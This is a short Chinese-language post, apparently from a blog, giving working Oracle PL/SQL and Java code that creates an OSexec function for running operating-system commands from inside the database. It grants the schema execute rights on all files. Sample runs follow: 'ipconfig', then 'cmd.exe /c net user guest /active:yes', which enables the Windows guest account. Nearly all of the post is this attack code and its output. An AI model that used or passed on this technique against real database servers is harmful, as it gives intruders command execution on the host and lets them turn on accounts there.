测试成功环境:windows XP+oracle 10g、window 2008 R2 + 11g
代码如下:
create or replace and compile Java Source named "OSCommand" as -- java: OS COMMAND import java.io.*; import java.lang.*; public class OSCommand{ public static String Run(String Command){ Runtime rt = Runtime.getRuntime(); int rc = -1; try{ Process p = rt.exec( Command ); int bufSize = 32000; int len = 0; byte buffer[] = new byte[bufSize]; String s = null; BufferedInputStream bis = new BufferedInputStream( p.getInputStream(), bufSize ); len = bis.read( buffer, 0, bufSize ); rc = p.waitFor(); if ( len != -1 ){ s = new String( buffer, 0, len ); return( s ); } return( rc+"" ); } catch (Exception e){ e.printStackTrace(); return( "-1\ncommand[" + Command + "]\n" + e.getMessage() ); } } } / show errors create or replace function OSexec( cCommand IN string ) return varchar2 is -- function: OS EXEC -- descr: PL/SQL wrapper for the Java OSCOMMAND stored proc -- language JAVA name 'OSCommand.Run(java.lang.String) return java.lang.String'; / show errors -- sysdba. Substitute SCOTT with the applicable schema that owns the OSEXEC -- and OSCOMMAND stored procs. declare SCHEMA varchar2(30) := 'SCOTT'; begin dbms_java.grant_permission( SCHEMA, 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'execute' ); dbms_java.grant_permission( SCHEMA, 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '*' ); dbms_java.grant_permission( SCHEMA, 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '*' ); commit; end; / -- 查看本地连接信息 SQL> select OSexec('ipconfig') as STDOUT from dual; STDOUT -------------------------------------------------------------------------------- Windows IP ???? ??????????? ????l?? 3: l??????? DNS ??? . . . . . . . : ????t?? IPv6 ???. . . . . . . . : ************* IPv4 ??? . . . . . . . . . . . . : 192.168.100.100 ???????? . . . . . . . . . . . . : 255.255.255.0 ??????. . . . . . . . . . . . . : 0.0.0.0 --激活guest账号 SQL> select OSexec('cmd.exe /c net user guest /active:yes') as STDOUT from dual; STDOUT -------------------------------------------------------------------------------- 0